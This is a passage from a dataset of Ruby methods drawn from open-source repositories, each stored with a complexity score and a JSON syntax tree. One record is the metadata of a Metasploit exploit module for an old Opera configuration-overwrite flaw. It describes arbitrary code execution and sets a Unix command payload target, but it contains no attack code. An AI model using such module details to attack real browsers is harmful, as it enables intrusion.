"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"remove\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Epic\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"WorkItem\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"work_item_type\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Epic\"]}]}]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"resource_milestone_event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assoc_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"milestone\"]},{\"type\":\"send\",\"children\":[null,\"milestone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"add\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"resource_milestone_event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assoc_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"milestone\"]},{\"type\":\"send\",\"children\":[null,\"milestone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"remove\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Issue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Epic\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"first_internal_discussion\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"discussion_note_on_issue\"]},{\"type\":\"sym\",\"children\":[\"confidential\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable\"]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"confidential \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note_body\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"sym\",\"children\":[\"confidential\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discussion_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_internal_discussion\"]},\"discussion_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable\"]},{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"reply on confidential \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note_body\"]}]}]}]}]}]}]}]}","id":"beb952f7-b6d5-4ce9-9a4f-4d2e80fcfdbf"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/warning.rb","start_line":31,"raw_source":"def test_relative_path\n    tracker = BrakemanTester.new_tracker\n    path = tracker.app_tree.file_path(\"app/controllers/some_controller.rb\")\n\n    w = Brakeman::Warning.new(file: path, confidence: :high)\n\n    refute w.relative_path.start_with? \"/\"\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_relative_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tracker\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BrakemanTester\"]},\"new_tracker\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"app_tree\"]},\"file_path\",{\"type\":\"str\",\"children\":[\"app/controllers/some_controller.rb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"w\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Warning\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"sym\",\"children\":[\"high\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"refute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"relative_path\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}","id":"d24b0235-f6ab-4fd6-8558-c7197154fea6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/referential_integrity_test.rb","start_line":34,"raw_source":"def setup\n    @connection = ActiveRecord::Base.lease_connection\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]}]}]}","id":"da97acd1-334b-4fcf-9da4-345d1db64a1d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kas/user_access.rb","start_line":71,"raw_source":"def session_cookie_token_prefix\n          Rails.application.config.session_options[:session_cookie_token_prefix] || ''\n        end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"session_cookie_token_prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"config\"]},\"session_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"session_cookie_token_prefix\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"399ba78c-15e6-4a10-8d77-b6af7ab18846"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/timebox.rb","start_line":112,"raw_source":"def predefined_id?(id)\n      [Any.id, None.id, Upcoming.id, Started.id].include?(id)\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"predefined_id?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Any\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"None\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upcoming\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Started\"]},\"id\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}","id":"9de0f880-8eed-41a5-9054-eeca3799528a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/to_sql.rb","start_line":41,"raw_source":"def visit_Arel_Nodes_UpdateStatement(o, collector)\n          collector.retryable = false\n          o = prepare_update_statement(o)\n\n          collector << \"UPDATE \"\n          collector = visit o.relation, collector\n          collect_nodes_for o.values, collector, \" SET \"\n\n          collect_nodes_for o.wheres, collector, \" WHERE \", \" AND \"\n          collect_nodes_for o.orders, collector, \" ORDER BY \"\n          maybe_visit o.limit, collector\n          maybe_visit o.comment, collector\n        end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_UpdateStatement\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"retryable=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"o\",{\"type\":\"send\",\"children\":[null,\"prepare_update_statement\",{\"type\":\"lvar\",\"children\":[\"o\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\"UPDATE \"]}]},{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"relation\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"send\",\"children\":[null,\"collect_nodes_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"values\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]},{\"type\":\"str\",\"children\":[\" SET \"]}]},{\"type\":\"send\",\"children\":[null,\"collect_nodes_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"wheres\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]},{\"type\":\"str\",\"children\":[\" WHERE \"]},{\"type\":\"str\",\"children\":[\" AND \"]}]},{\"type\":\"send\",\"children\":[null,\"collect_nodes_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"orders\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]},{\"type\":\"str\",\"children\":[\" ORDER BY \"]}]},{\"type\":\"send\",\"children\":[null,\"maybe_visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"limit\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]},{\"type\":\"send\",\"children\":[null,\"maybe_visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"comment\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]}]}","id":"703add4b-cbd2-44e6-93e6-5d561ee45144"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/import/github_oauth.rb","start_line":35,"raw_source":"def oauth_client_from_config\n      @oauth_client_from_config ||= ::OAuth2::Client.new(\n        oauth_config.app_id,\n        oauth_config.app_secret,\n        oauth_options.merge(ssl: { verify: oauth_config['verify_ssl'] })\n      )\n    end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"oauth_client_from_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@oauth_client_from_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OAuth2\"]},\"Client\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oauth_config\"]},\"app_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oauth_config\"]},\"app_secret\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oauth_options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oauth_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"verify_ssl\"]}]}]}]}]}]}]}]}]}]}","id":"5064ab24-7364-46c6-ab1d-2289e5103a51"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/feature_available_usage.rb","start_line":100,"raw_source":"def args_count(node)\n          node.children[2..].size\n        end","complexity_score":3.95,"ast_json":"{\"type\":\"def\",\"children\":[\"args_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},null]}]},\"size\"]}]}","id":"36682c6a-388f-495f-9680-bbcfff30d71d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/line.rb","start_line":139,"raw_source":"def id(file_hash)\n        return if meta?\n\n        hash = file_hash[0..8]\n\n        return \"line_#{hash}_A#{new_pos}\" if added?\n\n        \"line_#{hash}_#{old_pos}\"\n      end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meta?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_hash\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"added?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"line_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]}]},{\"type\":\"str\",\"children\":[\"_A\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_pos\"]}]}]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"line_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"old_pos\"]}]}]}]}]}","id":"ac4d5364-6904-4273-8caf-80d5f0459437"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/message_templates/template/email_collect.rb","start_line":31,"raw_source":"def email_input_box_template_message_params\n    content = I18n.t('conversations.templates.email_input_box_message_body',\n                     account_name: account.name)\n\n    {\n      account_id: @conversation.account_id,\n      inbox_id: @conversation.inbox_id,\n      message_type: :template,\n      content_type: :input_email,\n      content: content\n    }\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"email_input_box_template_message_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"conversations.templates.email_input_box_message_body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"name\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"account_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inbox_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"inbox_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_type\"]},{\"type\":\"sym\",\"children\":[\"template\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"sym\",\"children\":[\"input_email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}","id":"8c6fd5ec-794d-4d98-97b4-4c2f83670bf9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/browser/opera_configoverwrite.rb","start_line":24,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        {\n          'Name' => 'Opera 9 Configuration Overwrite',\n          'Description' => %q{\n            Opera web browser in versions <= 9.10 allows unrestricted script\n            access to its configuration page, opera:config, allowing an\n            attacker to change settings and potentially execute arbitrary\n            code.\n          },\n          'License' => BSD_LICENSE,\n          'Author' => [\n            'egypt', # stolen from mpack\n          ],\n          'References' => [\n            [ 'OSVDB', '66472'],\n          ],\n          'Payload' => {\n            'EXITFUNC' => 'process',\n            'Space' => 2048,\n            'DisableNops' => true,\n            'BadChars' => \" \",\n          },\n          'Platform' => %w{unix},\n          'Targets' => [\n            # [ 'Opera < 9.10 Windows',\n            #\t{\n            #\t\t'Platform' => 'win',\n            #\t\t'Arch' => ARCH_X86,\n            #\t}\n            # ],\n            [\n              'Opera < 9.10 Unix Cmd',\n              {\n                'Platform' => 'unix',\n                'Arch' => ARCH_CMD,\n              }\n            ],\n          ],\n          # Not sure when this was disclosed but it's been known since at\n          # least March 5, 2007, since that's the release date on the version\n          # of mpack I stole this from.\n          'DisclosureDate' => '2007-03-05',\n          'DefaultTarget' => 0,\n          'Notes' => {\n            'Reliability' => UNKNOWN_RELIABILITY,\n            'Stability' => UNKNOWN_STABILITY,\n            'SideEffects' => UNKNOWN_SIDE_EFFECTS\n          }\n        }\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Opera 9 Configuration Overwrite\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            Opera web browser in versions <= 9.10 allows unrestricted script\\n\"]},{\"type\":\"str\",\"children\":[\"            access to its configuration page, opera:config, allowing an\\n\"]},{\"type\":\"str\",\"children\":[\"            attacker to change settings and potentially execute arbitrary\\n\"]},{\"type\":\"str\",\"children\":[\"            code.\\n\"]},{\"type\":\"str\",\"children\":[\"          \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"BSD_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"egypt\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"66472\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[2048]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Opera < 9.10 Unix Cmd\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2007-03-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"6c0f92f3-b537-4fc6-a68b-d81f682359cc"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20221020120850_drop_html_variant_tracking_tables.rb","start_line":2,"raw_source":"def up\n    safety_assured do\n      drop_table :html_variant_trials\n      drop_table :html_variant_successes\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"sym\",\"children\":[\"html_variant_trials\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"sym\",\"children\":[\"html_variant_successes\"]}]}]}]}]}","id":"699a02ed-d5bc-4a12-ae1e-099e124fcf3f"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/test_case.rb","start_line":88,"raw_source":"def assign_parameters(routes, controller_path, action, parameters, generated_path, query_string_keys)\n      non_path_parameters = {}\n      path_parameters = {}\n\n      parameters.each do |key, value|\n        if query_string_keys.include?(key)\n          non_path_parameters[key] = value\n        else\n          if value.is_a?(Array)\n            value = value.map(&:to_param)\n          else\n            value = value.to_param\n          end\n\n          path_parameters[key.to_sym] = value\n        end\n      end\n\n      if get?\n        if query_string.blank?\n          self.query_string = non_path_parameters.to_query\n        end\n      else\n        if ENCODER.should_multipart?(non_path_parameters)\n          self.content_type = ENCODER.content_type\n          data = ENCODER.build_multipart non_path_parameters\n        else\n          fetch_header(\"CONTENT_TYPE\") do |k|\n            set_header k, \"application/x-www-form-urlencoded\"\n          end\n\n          case content_mime_type&.to_sym\n          when nil\n            raise \"Unknown Content-Type: #{content_type}\"\n          when :json\n            data = ActiveSupport::JSON.encode(non_path_parameters)\n          when :xml\n            data = non_path_parameters.to_xml\n          when :url_encoded_form\n            data = non_path_parameters.to_query\n          else\n            @custom_param_parsers[content_mime_type.symbol] = ->(_) { non_path_parameters }\n            data = non_path_parameters.to_query\n          end\n        end\n\n        data_stream = StringIO.new(data.b)\n        set_header \"CONTENT_LENGTH\", data_stream.length.to_s\n        set_header \"rack.input\", data_stream\n      end\n\n      fetch_header(\"PATH_INFO\") do |k|\n        set_header k, generated_path\n      end\n      fetch_header(\"ORIGINAL_FULLPATH\") do |k|\n        set_header k, fullpath\n      end\n      path_parameters[:controller] = controller_path\n      path_parameters[:action] = action\n\n      self.path_parameters = path_parameters\n    end","complexity_score":93.0,"ast_json":"{\"type\":\"def\",\"children\":[\"assign_parameters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"routes\"]},{\"type\":\"arg\",\"children\":[\"controller_path\"]},{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"arg\",\"children\":[\"parameters\"]},{\"type\":\"arg\",\"children\":[\"generated_path\"]},{\"type\":\"arg\",\"children\":[\"query_string_keys\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"non_path_parameters\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"path_parameters\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameters\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_string_keys\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"non_path_parameters\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_param\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_param\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_parameters\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_sym\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_string\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"query_string=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"non_path_parameters\"]},\"to_query\"]}]},null]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENCODER\"]},\"should_multipart?\",{\"type\":\"lvar\",\"children\":[\"non_path_parameters\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"content_type=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENCODER\"]},\"content_type\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENCODER\"]},\"build_multipart\",{\"type\":\"lvar\",\"children\":[\"non_path_parameters\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"typ